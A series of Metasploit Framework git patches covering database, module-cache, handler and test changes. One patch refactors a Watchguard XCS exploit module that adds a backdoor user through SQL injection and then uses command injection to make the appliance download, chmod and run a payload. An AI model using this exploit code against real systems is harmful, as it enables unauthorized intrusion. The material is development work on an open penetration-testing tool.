b/lib/msf/core/db_manager/vuln.rb @@ -47,7 +47,10 @@ module Msf::DBManager::Vuln def find_vuln_by_refs(refs, host, service=nil) ref_ids = refs.find_all { |ref| ref.name.starts_with? 'CVE-'} relation = host.vulns.includes(:refs) - relation.where(service_id: service.try(:id), refs: { id: ref_ids}).first || relation.where(refs: { id: ref_ids}).first + if !service.try(:id).nil? + return relation.where(service_id: service.try(:id), refs: { id: ref_ids}).first + end + return relation.where(refs: { id: ref_ids}).first end def get_vuln(wspace, host, service, name, data='') From 66b453edd6d292fb00ce0b7ce24be15ae7210c6a Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Tue, 22 Sep 2015 12:56:26 -0500 Subject: [PATCH 0684/2172] ensure the database cache is always updated, present accurate reporting on search --- lib/msf/core/module_manager/cache.rb | 7 +------ lib/msf/ui/console/command_dispatcher/core.rb | 14 +++++++++----- lib/msf/ui/console/driver.rb | 7 ++----- 3 files changed, 12 insertions(+), 16 deletions(-) diff --git a/lib/msf/core/module_manager/cache.rb b/lib/msf/core/module_manager/cache.rb index a0c7f34856..e315a33726 100644 --- a/lib/msf/core/module_manager/cache.rb +++ b/lib/msf/core/module_manager/cache.rb @@ -112,7 +112,6 @@ module Msf::ModuleManager::Cache else framework.db.update_all_module_details end - refresh_cache_from_database(self.module_paths) end end @@ -131,11 +130,7 @@ module Msf::ModuleManager::Cache # @return [true] if migrations have been run # @return [false] otherwise def framework_migrated? - if framework.db and framework.db.migrated - true - else - false - end + framework.db && framework.db.migrated end # @!attribute [rw] module_info_by_path diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 66dbb0af92..c5fbcbbabc 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -1543,13 +1543,17 @@ class Core end } - if framework.db and framework.db.migrated and framework.db.modules_cached - search_modules_sql(match) - return + if framework.db + if framework.db.migrated && framework.db.modules_cached + search_modules_sql(match) + return + else + print_warning("Module database cache not built yet, using slow search") + end + else + print_warning("Database not connected, using slow search") end - print_warning("Database not connected or cache not built, using slow search") - tbl = generate_module_table("Matching Modules") [ framework.exploits, diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index 914e0a787e..d2292ba6a9 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -213,11 +213,8 @@ class Driver < Msf::Ui::Driver end if framework.db.active && !opts['DeferModuleLoads'] - if self.framework.modules.cache_empty? - self.framework.threads.spawn("ModuleCacheRebuild", true) do - self.framework.modules.refresh_cache_from_module_files - end - print_status("The initial module cache will be built in the background, this can take 2-5 minutes...") + framework.threads.spawn("ModuleCacheRebuild", true) do + framework.modules.refresh_cache_from_module_files end end From 6482083b6b273a17a41e02ecc9ac1d5e76b9d484 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Tue, 22 Sep 2015 14:39:53 -0500 Subject: [PATCH 0685/2172] revert WfsDelay short-circuit on exploit failure Some exploits currently succeed, but can fail during cleanup, leading to a false-negative. Reverting this so that the affected exploits can be fixed first. This reverts commits b0858e9d46248f2dd6029d3c50947afef7ba0672 and b3f754136ef5b59ca46dfdaf0bbe04453eabcf63. --- lib/msf/base/simple/exploit.rb | 3 --- lib/msf/core/exploit.rb | 16 +++------------- lib/msf/core/handler.rb | 8 -------- 3 files changed, 3 insertions(+), 24 deletions(-) diff --git a/lib/msf/base/simple/exploit.rb b/lib/msf/base/simple/exploit.rb index 5fc96a5499..afc2ec23d7 100644 --- a/lib/msf/base/simple/exploit.rb +++ b/lib/msf/base/simple/exploit.rb @@ -237,9 +237,6 @@ module Exploit # Report the failure (and attempt) in the database self.report_failure - - # Interrupt any session waiters in the handler - self.interrupt_handler end # # Calls the class method. diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index bf4c8ec2e2..41d6bea30d 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -1193,19 +1193,9 @@ class Exploit < Msf::Module # value can be one of the Handler::constants. # def handler(*args) - return unless payload_instance - return unless handler_enabled? - payload_instance.handler(*args) - end - - # - # Break out of the session wait loop (WfsDelay) - # - def interrupt_handler - return unless payload_instance - return unless handler_enabled? - return unless payload_instance.respond_to?(:interrupt_wait_for_session) - payload_instance.interrupt_wait_for_session() + return if not payload_instance + return if not handler_enabled? + return payload_instance.handler(*args) end ## diff --git a/lib/msf/core/handler.rb b/lib/msf/core/handler.rb index f6b12009ca..010fa580b7 100644 --- a/lib/msf/core/handler.rb +++ b/lib/msf/core/handler.rb @@ -162,14 +162,6 @@ module Handler return session end - # - # Interrupts a wait_for_session call by notifying with a nil event - # - def interrupt_wait_for_session - return unless session_waiter_event - session_waiter_event.notify(nil) - end - # # Set by the exploit module to configure handler # From 7d2a2a8b647e5fae2ad48643043c81f50370ed1e Mon Sep 17 00:00:00 2001 From: scriptjunkie <scriptjunkie@scriptjunkie.us> Date: Sun, 20 Sep 2015 22:44:21 -0500 Subject: [PATCH 0686/2172] Fix issues with using hop for new core --- data/php/hop.php | 2 +- lib/msf/core/handler/reverse_hop_http.rb | 7 +++++++ 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/data/php/hop.php b/data/php/hop.php index c9f323657a..aebeff0e77 100644 --- a/data/php/hop.php +++ b/data/php/hop.php @@ -45,7 +45,7 @@ if($url === "/control"){ //get data $postdata = file_get_contents("php://input"); //See if we should send anything down - if($postdata === 'RECV'){ + if($postdata === "RECV\x00"){ findSendDelete($tempdir, "down_" . bin2hex($url)); $fname = $tempdir . "/up_recv_" . bin2hex($url); //Only keep one RECV poll }else{ diff --git a/lib/msf/core/handler/reverse_hop_http.rb b/lib/msf/core/handler/reverse_hop_http.rb index 0ead3894a0..d458944d44 100644 --- a/lib/msf/core/handler/reverse_hop_http.rb +++ b/lib/msf/core/handler/reverse_hop_http.rb @@ -54,6 +54,13 @@ module ReverseHopHttp "tunnel" end + # + # Returns the socket type. (hop) + # + def type? + return 'hop' + end + # # Sets up a handler. Doesn't do much since it's all in start_handler. # From d90f87449a372770e16118242a459c55fcd5db56 Mon Sep 17 00:00:00 2001 From: scriptjunkie <scriptjunkie@scriptjunkie.us> Date: Tue, 22 Sep 2015 16:55:01 -0500 Subject: [PATCH 0687/2172] Fix merge --- data/php/hop.php | 6 +++--- lib/msf/core/handler/reverse_hop_http.rb | 2 ++ 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/data/php/hop.php b/data/php/hop.php index aebeff0e77..948ccfe7d2 100644 --- a/data/php/hop.php +++ b/data/php/hop.php @@ -33,7 +33,7 @@ if($url === "/control"){ if(array_key_exists('HTTP_X_INIT', $_SERVER)){ $f = fopen($tempdir."/init", "w"); //only one init file }else{ - $prefix = "down_" . bin2hex($_SERVER['HTTP_X_URLFRAG']); + $prefix = "down_" . sha1($_SERVER['HTTP_X_URLFRAG']); $f = fopen(tempnam($tempdir,$prefix), "w"); } fwrite($f, $postdata); @@ -46,8 +46,8 @@ if($url === "/control"){ $postdata = file_get_contents("php://input"); //See if we should send anything down if($postdata === "RECV\x00"){ - findSendDelete($tempdir, "down_" . bin2hex($url)); - $fname = $tempdir . "/up_recv_" . bin2hex($url); //Only keep one RECV poll + findSendDelete($tempdir, "down_" . sha1($url)); + $fname = $tempdir . "/up_recv_" . sha1($url); //Only keep one RECV poll }else{ $fname = tempnam($tempdir, "up_"); //actual data gets its own filename } diff --git a/lib/msf/core/handler/reverse_hop_http.rb b/lib/msf/core/handler/reverse_hop_http.rb index d458944d44..ba00c3e94e 100644 --- a/lib/msf/core/handler/reverse_hop_http.rb +++ b/lib/msf/core/handler/reverse_hop_http.rb @@ -17,6 +17,7 @@ module Handler module ReverseHopHttp include Msf::Handler::ReverseHttp + include Msf::Payload::UUIDOptions # # Magic bytes to know we are talking to a valid hop @@ -256,6 +257,7 @@ module ReverseHopHttp # generate a new connect sum = uri_checksum_lookup(:connect) conn_id = generate_uri_uuid(sum, uuid) + conn_id = conn_id[1..-1] if conn_id.start_with? '/' url = full_uri + conn_id + "/\x00" print_status("Preparing stage for next session #{conn_id}") From 30102d4526d98994995b03b11e5d1e9028539a9e Mon Sep 17 00:00:00 2001 From: scriptjunkie <scriptjunkie@scriptjunkie.us> Date: Tue, 22 Sep 2015 17:05:30 -0500 Subject: [PATCH 0688/2172] No longer needed. --- lib/msf/core/handler/reverse_hop_http.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/msf/core/handler/reverse_hop_http.rb b/lib/msf/core/handler/reverse_hop_http.rb index ba00c3e94e..138a373e6c 100644 --- a/lib/msf/core/handler/reverse_hop_http.rb +++ b/lib/msf/core/handler/reverse_hop_http.rb @@ -17,7 +17,6 @@ module Handler module ReverseHopHttp include Msf::Handler::ReverseHttp - include Msf::Payload::UUIDOptions # # Magic bytes to know we are talking to a valid hop From 3dd917fd561f74de7e30d27779d14be68e280074 Mon Sep 17 00:00:00 2001 From: Daniel Jensen <daniel.jensen.nz@gmail.com> Date: Thu, 24 Sep 2015 00:20:13 +1200 Subject: [PATCH 0689/2172] Altered the module to use the primer callback, and refactored some code to remove useless functions etc --- .../freebsd/http/watchguard_cmd_exec.rb | 140 +++++++++--------- 1 file changed, 66 insertions(+), 74 deletions(-) diff --git a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb index 2f7b4b5058..7c94df4bfe 100644 --- a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb +++ b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb @@ -36,6 +36,7 @@ class Metasploit4 < Msf::Exploit::Remote 'Platform' => 'bsd', 'Arch' => ARCH_X86_64, 'Privileged' => false, + 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ [ 'Watchguard XCS 9.2/10.0', { }] @@ -53,6 +54,7 @@ class Metasploit4 < Msf::Exploit::Remote OptString.new('TARGETURI', [true, 'The target URI', '/']), OptString.new('USERNAME', [true, 'Web interface user account to add', 'backdoor']), OptString.new('PASSWORD', [true, 'Web interface user password', 'backdoor']), + OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]), Opt::RPORT(443) ], self.class @@ -73,36 +75,18 @@ class Metasploit4 < Msf::Exploit::Remote def exploit - #Generate the password hash - pwd_clear = datastore['PASSWORD'] - pwd_hash = generate_device_hash(pwd_clear) - username = datastore['USERNAME'] - user_id = rand(999) - - sid_cookie = attempt_login(username, pwd_clear) - unless sid_cookie - vprint_status("Failed to login, attempting to add backdoor user...") - unless add_user(user_id, username, pwd_hash, pwd_clear) - fail_with(Failure::Unknown, "Failed to add user account to database.") - end - sid_cookie = attempt_login(username, pwd_clear) - unless (sid_cookie) - fail_with(Failure::Unknown, "Unable to login with user account.") - end - end + #Get a valid session by logging in or exploiting SQLi to add user + @sid = get_session #Check if cmd injection works - test_cmd_inj = send_cmd_exec("/ADMIN/mailqueue.spl", sid_cookie, "id") + test_cmd_inj = send_cmd_exec("/ADMIN/mailqueue.spl", "id") unless test_cmd_inj and test_cmd_inj.body =~ /uid=65534/ - fail_with(Failure::UnexpectedReply, "Could not inject command") + fail_with(Failure::UnexpectedReply, "Could not inject command, may not be vulnerable") end #We have cmd exec, stand up an HTTP server and deliver the payload vprint_status("Getting ready to drop binary on appliance") - downfile = rand_text_alpha(8+rand(8)) - vprint_status("File name is #{downfile}") - #Generate payload @pl = generate_payload_exe @elf_sent = false @@ -116,44 +100,11 @@ class Metasploit4 < Msf::Exploit::Remote end end - resource_uri = '/' + downfile - - if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") - srv_host = Rex::Socket.source_address(rhost) - else - srv_host = datastore['SRVHOST'] + #Start the server and use primer to trigger fetching and running of the payload + begin + Timeout.timeout(datastore['HTTPDELAY']) {super} + rescue Timeout::Error end - - service_url = 'https://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri - print_status("Starting up our web service on #{service_url} ...") - start_service({'Uri' => { - 'Proc' => Proc.new { |cli, req| - on_request_uri(cli, req) - }, - 'Path' => resource_uri - }}) - - filename = rand_text_alpha_lower(8) - vprint_status("Asking the appliance to download #{service_url}") - - #Use the cmd exec to pull in shell - dnld_cmd1 = "/usr/local/sbin/curl -k #{service_url} -o /tmp/#{filename}" - vprint_status("Telling appliance to run #{dnld_cmd1}") - send_cmd_exec("/ADMIN/mailqueue.spl", sid_cookie, dnld_cmd1) - register_file_for_cleanup("/tmp/#{filename}") - - #Wait for payload to be requested by appliance - wait_for_payload - - #Chmod the shell binary - chmod_cmd = "chmod +x /tmp/#{filename}" - vprint_status("Chmoding payload #{downfile}...") - send_cmd_exec("/ADMIN/mailqueue.spl",sid_cookie, chmod_cmd) - - exec_cmd = "/tmp/#{filename}" - vprint_status("Running payload #{downfile}...") - send_cmd_exec("/ADMIN/mailqueue.spl",sid_cookie, exec_cmd, true) - end def attempt_login(username,pwd_clear) @@ -234,11 +185,14 @@ class Metasploit4 < Msf::Exploit::Remote return final_hash end - def send_cmd_exec(uri,sid_cookie,os_cmd, blocking=false) - #This is a handler function that makes HTTP calls to exploit the command injection issue + def send_cmd_exec(uri,os_cmd,blocking=false) + #This is a handler function that makes HTTP calls to exploit the command injection issue + unless @sid + fail_with(Failure::Unknown, "Missing a session cookie when attempting to execute command.") + end res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "#{uri}"), - 'cookie' => "sid=#{sid_cookie}", + 'cookie' => "sid=#{@sid}", 'encode_params' => true, 'vars_get' => { 'f' => 'dnld', @@ -254,6 +208,56 @@ class Metasploit4 < Msf::Exploit::Remote return res end + def get_session + #Gets a valid login session, either valid creds or the SQLi vulnerability + username = datastore['USERNAME'] + pwd_clear = datastore['PASSWORD'] + user_id = rand(999) + + sid_cookie = attempt_login(username, pwd_clear) + unless sid_cookie + vprint_status("Failed to login, attempting to add backdoor user...") + pwd_hash = generate_device_hash(pwd_clear) + unless add_user(user_id, username, pwd_hash, pwd_clear) + fail_with(Failure::Unknown, "Failed to add user account to database.") + end + + sid_cookie = attempt_login(username, pwd_clear) + unless (sid_cookie) + fail_with(Failure::Unknown, "Unable to login with user account.") + end + + end + return sid_cookie + end + + #Make the server download the payload and run it + def primer + vprint_status("Primer hook called, make the server get and run exploit") + + #Gets the autogenerated uri from the mixin + payload_uri = get_uri + + filename = rand_text_alpha_lower(8) + print_status("Sending download request for #{payload_uri}") + + dnld_cmd1 = "/usr/local/sbin/curl -k #{payload_uri} -o /tmp/#{filename}" + vprint_status("Telling appliance to run #{dnld_cmd1}") + send_cmd_exec("/ADMIN/mailqueue.spl",dnld_cmd1) + register_file_for_cleanup("/tmp/#{filename}") + + chmod_cmd = "chmod +x /tmp/#{filename}" + vprint_status("Chmoding the payload...") + send_cmd_exec("/ADMIN/mailqueue.spl",chmod_cmd) + + exec_cmd = "/tmp/#{filename}" + vprint_status("Running the payload...") + send_cmd_exec("/ADMIN/mailqueue.spl",exec_cmd,true) + + + print_status("Finished primer hook") + end + #Handle incoming requests from the server def on_request_uri(cli, request) vprint_status("on_request_uri called: #{request.inspect}") @@ -261,16 +265,4 @@ class Metasploit4 < Msf::Exploit::Remote @elf_sent = true send_response(cli, @pl) end - - #Wait for the data to be sent - def wait_for_payload - waited = 0 - while (not @elf_sent) - select(nil, nil, nil, 1) - waited += 1 - if (waited > 10) - fail_with(Failure::Unknown, "Target didn't request the payload.") - end - end - end end From dc84b3b1bae10e78df577bf452fcf12d6fdd931e Mon Sep 17 00:00:00 2001 From: Fernando Arias <fernando_arias@rapid7.com> Date: Wed, 23 Sep 2015 10:54:13 -0500 Subject: [PATCH 0690/2172] Passing report_exploit_failure specs MSP-13119 --- lib/msf/core/db_manager/exploit_attempt.rb | 21 +- .../msf/db_manager/exploit_attempt.rb | 551 +++++++++--------- .../shared/examples/msf/db_manager/session.rb | 10 +- 3 files changed, 304 insertions(+), 278 deletions(-) diff --git a/lib/msf/core/db_manager/exploit_attempt.rb b/lib/msf/core/db_manager/exploit_attempt.rb index c1c6e6b047..04d5728fa4 100644 --- a/lib/msf/core/db_manager/exploit_attempt.rb +++ b/lib/msf/core/db_manager/exploit_attempt.rb @@ -104,6 +104,9 @@ module Msf::DBManager::ExploitAttempt # @option opts [String] :module (nil) # @return [void] def do_report_failure_or_success(opts) + #require 'pry' + #binding.pry + return unless opts[:refs] ::ActiveRecord::Base.connection_pool.with_connection { mrefs = opts[:refs] @@ -153,6 +156,9 @@ module Msf::DBManager::ExploitAttempt attempt_info[:vuln_id] = vuln.id vuln.vuln_attempts.create(attempt_info) + # require 'pry' + # binding.pry + create_match_result_for_vuln(vuln,opts) # Correct the vuln's associated service if necessary @@ -185,16 +191,19 @@ module Msf::DBManager::ExploitAttempt def create_match_result_for_vuln(vuln, opts) run = MetasploitDataModels::AutomaticExploitation::Run.where(id:opts[:run_id]).last + # require 'pry' + # binding.pry + if run.present? match = MetasploitDataModels::AutomaticExploitation::Match.by_run_and_vuln(run,vuln).last - - # If no match found + # If no match found in the current run unless match.present? + # Create match if the vuln has the data we need to create a match match = create_match_for_vuln(vuln,opts.merge(run:run)) end - create_match_result(opts.merge(match:match,run:run)) + create_match_result(opts.merge(match:match,run:run)) if match.present? end end @@ -209,6 +218,9 @@ module Msf::DBManager::ExploitAttempt state = MetasploitDataModels::AutomaticExploitation::MatchResult::FAILED end + # require 'pry' + # binding.pry + MetasploitDataModels::AutomaticExploitation::MatchResult.create!( match: opts[:match], run: opts[:run], @@ -226,6 +238,9 @@ module Msf::DBManager::ExploitAttempt run = opts[:run] module_fullname = opts[:module] + # require 'pry' + # binding.pry + run.match_set.create_match_for_vuln( vuln, workspace: wspace, diff --git a/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb b/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb index 38ce121f0f..feb3fd5764 100644 --- a/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb +++ b/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb @@ -5,40 +5,55 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do it { is_expected.to respond_to :report_exploit_success } describe '#report_exploit_failure' do - context "with a match" do - subject(:report_exploit_failure) do - db_manager.report_exploit_failure(opts) - end + subject(:report_exploit_failure) do + db_manager.report_exploit_failure(opts) + end + + let(:run) do + match + FactoryGirl.create(:automatic_exploitation_run, user: workspace.owner,workspace:workspace, match_set_id: match_set.id) + end + + let(:match_set) do + FactoryGirl.create(:automatic_exploitation_match_set, user: workspace.owner,workspace:workspace) + end + + let(:match) do + FactoryGirl.create(:automatic_exploitation_match, + match_set_id: match_set.id, + matchable_id:vuln_with_match.id, + matchable_type: "Mdm::Vuln" + ) + end + + let(:vuln_with_match) do + FactoryGirl.create(:mdm_vuln) + end + + let(:host) do + FactoryGirl.create(:mdm_host, workspace:workspace) + end + + let(:workspace) do + FactoryGirl.create(:mdm_workspace) + end + + let(:refs) do + [ FactoryGirl.create(:mdm_ref) ] + end + + context "with a run" do let(:opts) do { workspace: workspace, refs: refs, host: host, - vuln: vuln_with_match + vuln: vuln_with_match, + run_id: run.id } end - let(:match) do - FactoryGirl.create(:automatic_exploitation_match) - end - - let(:vuln_with_match) do - match.matchable - end - - let(:host) do - FactoryGirl.create(:mdm_host, workspace:workspace,vulns:[vuln_with_match]) - end - - let(:workspace) do - FactoryGirl.create(:mdm_workspace) - end - - let(:refs) do - [ FactoryGirl.create(:mdm_ref) ] - end - context 'with a vuln' do specify do expect { @@ -54,6 +69,7 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do it "should create a match result with state FAILED" do report_exploit_failure + expect( MetasploitDataModels::AutomaticExploitation::MatchResult.where( match_id: match.id, @@ -75,8 +91,8 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do db_manager.should_receive(:create_match_result) end - it "should call create_run_for_vuln" do - db_manager.should_receive(:create_run_for_vuln) + it "should not call create_match_for_vuln" do + db_manager.should_not_receive(:create_match_for_vuln) end end @@ -85,9 +101,7 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do context 'without a vuln' do let(:vuln_with_match) { nil } - let(:host) do - FactoryGirl.create(:mdm_host, workspace:workspace) - end + let(:match) {nil} specify do expect { @@ -122,23 +136,7 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end end - - context "without a match" do - subject(:report_exploit_failure) do - db_manager.report_exploit_failure(opts) - end - - let(:workspace) do - FactoryGirl.create(:mdm_workspace) - end - - let(:host) do - FactoryGirl.create(:mdm_host, workspace: workspace) - end - - let(:refs) do - [ FactoryGirl.create(:mdm_ref) ] - end + context "without a run" do let(:vuln) do FactoryGirl.create(:mdm_vuln) @@ -179,8 +177,8 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do db_manager.should_not_receive(:create_match_result) end - it "should call create_run_for_vuln" do - db_manager.should_receive(:create_run_for_vuln) + it "should not call create_match_for_vuln" do + db_manager.should_not_receive(:create_match_for_vuln) end end @@ -215,7 +213,7 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end it "should not call create_run_for_vuln" do - db_manager.should_not_receive(:create_run_for_vuln) + db_manager.should_not_receive(:create_match_for_vuln) end end @@ -224,228 +222,233 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end - describe '#report_exploit_success' do - context "with a match" do - subject(:report_exploit_success) do - db_manager.report_exploit_success(opts) - end - - let(:opts) do - { - workspace: workspace, - refs: refs, - host: host, - vuln: vuln_with_match, - session_id: session_id - } - end - - let(:session_id) do - FactoryGirl.create(:session, host: host).id - end - - let(:match) do - FactoryGirl.create(:automatic_exploitation_match) - end - - let(:vuln_with_match) do - match.matchable - end - - let(:host) do - FactoryGirl.create(:mdm_host, workspace:workspace,vulns:[vuln_with_match]) - end - - let(:workspace) do - FactoryGirl.create(:mdm_workspace) - end - - let(:refs) do - [ FactoryGirl.create(:mdm_ref) ] - end - - context 'with a vuln' do - specify do - expect { - report_exploit_success - }.to change(Mdm::VulnAttempt,:count).by(1) - end - - it "should create a match result" do - expect { - report_exploit_success - }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(1) - end - - it "should create a match result with state SUCCEEDED" do - report_exploit_success - expect( - MetasploitDataModels::AutomaticExploitation::MatchResult.where( - match_id: match.id, - state: MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED - ) - ).to exist - end - - context "calling report_exploit_success" do - after(:each) do - report_exploit_success - end - - it "should call create_match_result_for_vuln" do - db_manager.should_receive(:create_match_result_for_vuln) - end - - it "should call create_match_result" do - db_manager.should_receive(:create_match_result) - end - - it "should call create_run_for_vuln" do - db_manager.should_receive(:create_run_for_vuln) - end - end - - end - - context 'without a vuln' do - let(:vuln_with_match) { nil } - - let(:host) do - FactoryGirl.create(:mdm_host, workspace:workspace) - end - - specify do - expect { - report_exploit_success - }.not_to change(Mdm::VulnAttempt, :count) - end - - it "should not create a match result" do - expect { - report_exploit_success - }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0) - end - - context "calling report_exploit_success" do - after(:each) do - report_exploit_success - end - - it "should not call create_match_result_for_vuln" do - db_manager.should_not_receive(:create_match_result_for_vuln) - end - - it "should not call create_match_result" do - db_manager.should_not_receive(:create_match_result) - end - - it "should not call create_run_for_vuln" do - db_manager.should_not_receive(:create_run_for_vuln) - end - end - - end - end - - - context "without a match" do - subject(:report_exploit_success) do - db_manager.report_exploit_success(opts) - end - - let(:workspace) do - FactoryGirl.create(:mdm_workspace) - end - - let(:host) do - FactoryGirl.create(:mdm_host, workspace: workspace) - end - - let(:refs) do - [ FactoryGirl.create(:mdm_ref) ] - end - - let(:vuln) do - FactoryGirl.create(:mdm_vuln) - end - - let(:opts) do - { - workspace: workspace, - refs: refs, - host: host, - vuln: vuln, - } - end - - context 'with a vuln' do - specify do - expect { - report_exploit_success - }.to change(Mdm::VulnAttempt,:count).by(1) - end - - it "should not create a match result" do - expect { - report_exploit_success - }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0) - end - - context "calling report_exploit_success" do - after(:each) do - report_exploit_success - end - - it "should call create_match_result_for_vuln" do - db_manager.should_receive(:create_match_result_for_vuln) - end - - it "should not call create_match_result" do - db_manager.should_not_receive(:create_match_result) - end - - it "should call create_run_for_vuln" do - db_manager.should_receive(:create_run_for_vuln) - end - end - - end - - context 'without a vuln' do - let(:vuln) { nil } - - specify do - expect { - report_exploit_success - }.not_to change(Mdm::VulnAttempt, :count) - end - - it "should not create a match result" do - expect { - report_exploit_success - }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0) - end - - context "calling report_exploit_success" do - after(:each) do - report_exploit_success - end - - it "should not call create_match_result_for_vuln" do - db_manager.should_not_receive(:create_match_result_for_vuln) - end - - it "should not call create_match_result" do - db_manager.should_not_receive(:create_match_result) - end - - it "should not call create_run_for_vuln" do - db_manager.should_not_receive(:create_run_for_vuln) - end - end - - end - end - - end + # describe '#report_exploit_success' do + # context "with a match" do + # subject(:report_exploit_success) do + # db_manager.report_exploit_success(opts) + # end + # + # let(:opts) do + # { + # workspace: workspace, + # refs: refs, + # host: host, + # vuln: vuln_with_match, + # session_id: session_id + # } + # end + # + # let(:session_id) do + # FactoryGirl.create(:session, host: host).id + # end + # + # let(:match_set) do + # FactoryGirl.create(:automatic_exploitation_match_set, user: workspace.owner,workspace:workspace) + # end + # + # + # let(:match) do + # FactoryGirl.create(:automatic_exploitation_match, match_set_id: match_set.id) + # end + # + # let(:vuln_with_match) do + # match.matchable + # end + # + # let(:host) do + # FactoryGirl.create(:mdm_host, workspace:workspace,vulns:[vuln_with_match]) + # end + # + # let(:workspace) do + # FactoryGirl.create(:mdm_workspace) + # end + # + # let(:refs) do + # [ FactoryGirl.create(:mdm_ref) ] + # end + # + # context 'with a vuln' do + # specify do + # expect { + # report_exploit_success + # }.to change(Mdm::VulnAttempt,:count).by(1) + # end + # + # it "should create a match result" do + # expect { + # report_exploit_success + # }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(1) + # end + # + # it "should create a match result with state SUCCEEDED" do + # report_exploit_success + # expect( + # MetasploitDataModels::AutomaticExploitation::MatchResult.where( + # match_id: match.id, + # state: MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED + # ) + # ).to exist + # end + # + # context "calling report_exploit_success" do + # after(:each) do + # report_exploit_success + # end + # + # it "should call create_match_result_for_vuln" do + # db_manager.should_receive(:create_match_result_for_vuln) + # end + # + # it "should call create_match_result" do + # db_manager.should_receive(:create_match_result) + # end + # + # it "should call create_run_for_vuln" do + # db_manager.should_receive(:create_run_for_vuln) + # end + # end + # + # end + # + # context 'without a vuln' do + # let(:vuln_with_match) { nil } + # + # let(:host) do + # FactoryGirl.create(:mdm_host, workspace:workspace) + # end + # + # specify do + # expect { + # report_exploit_success + # }.not_to change(Mdm::VulnAttempt, :count) + # end + # + # it "should not create a match result" do + # expect { + # report_exploit_success + # }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0) + # end + # + # context "calling report_exploit_success" do + # after(:each) do + # report_exploit_success + # end + # + # it "should not call create_match_result_for_vuln" do + # db_manager.should_not_receive(:create_match_result_for_vuln) + # end + # + # it "should not call create_match_result" do + # db_manager.should_not_receive(:create_match_result) + # end + # + # it "should not call create_run_for_vuln" do + # db_manager.should_not_receive(:create_run_for_vuln) + # end + # end + # + # end + # end + # + # + # context "without a match" do + # subject(:report_exploit_success) do + # db_manager.report_exploit_success(opts) + # end + # + # let(:workspace) do + # FactoryGirl.create(:mdm_workspace) + # end + # + # let(:host) do + # FactoryGirl.create(:mdm_host, workspace: workspace) + # end + # + # let(:refs) do + # [ FactoryGirl.create(:mdm_ref) ] + # end + # + # let(:vuln) do + # FactoryGirl.create(:mdm_vuln) + # end + # + # let(:opts) do + # { + # workspace: workspace, + # refs: refs, + # host: host, + # vuln: vuln, + # } + # end + # + # context 'with a vuln' do + # specify do + # expect { + # report_exploit_success + # }.to change(Mdm::VulnAttempt,:count).by(1) + # end + # + # it "should not create a match result" do + # expect { + # report_exploit_success + # }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0) + # end + # + # context "calling report_exploit_success" do + # after(:each) do + # report_exploit_success + # end + # + # it "should call create_match_result_for_vuln" do + # db_manager.should_receive(:create_match_result_for_vuln) + # end + # + # it "should not call create_match_result" do + # db_manager.should_not_receive(:create_match_result) + # end + # + # it "should call create_run_for_vuln" do + # db_manager.should_receive(:create_run_for_vuln) + # end + # end + # + # end + # + # context 'without a vuln' do + # let(:vuln) { nil } + # + # specify do + # expect { + # report_exploit_success + # }.not_to change(Mdm::VulnAttempt, :count) + # end + # + # it "should not create a match result" do + # expect { + # report_exploit_success + # }.to change(MetasploitDataModels::AutomaticExploitation::MatchResult,:count).by(0) + # end + # + # context "calling report_exploit_success" do + # after(:each) do + # report_exploit_success + # end + # + # it "should not call create_match_result_for_vuln" do + # db_manager.should_not_receive(:create_match_result_for_vuln) + # end + # + # it "should not call create_match_result" do + # db_manager.should_not_receive(:create_match_result) + # end + # + # it "should not call create_run_for_vuln" do + # db_manager.should_not_receive(:create_run_for_vuln) + # end + # end + # + # end + # end + # + # end end diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index d898bf6c42..027b3404ea 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -122,9 +122,17 @@ shared_examples_for 'Msf::DBManager::Session' do end context 'with a run_id in user_data' do + let(:match_set) do + 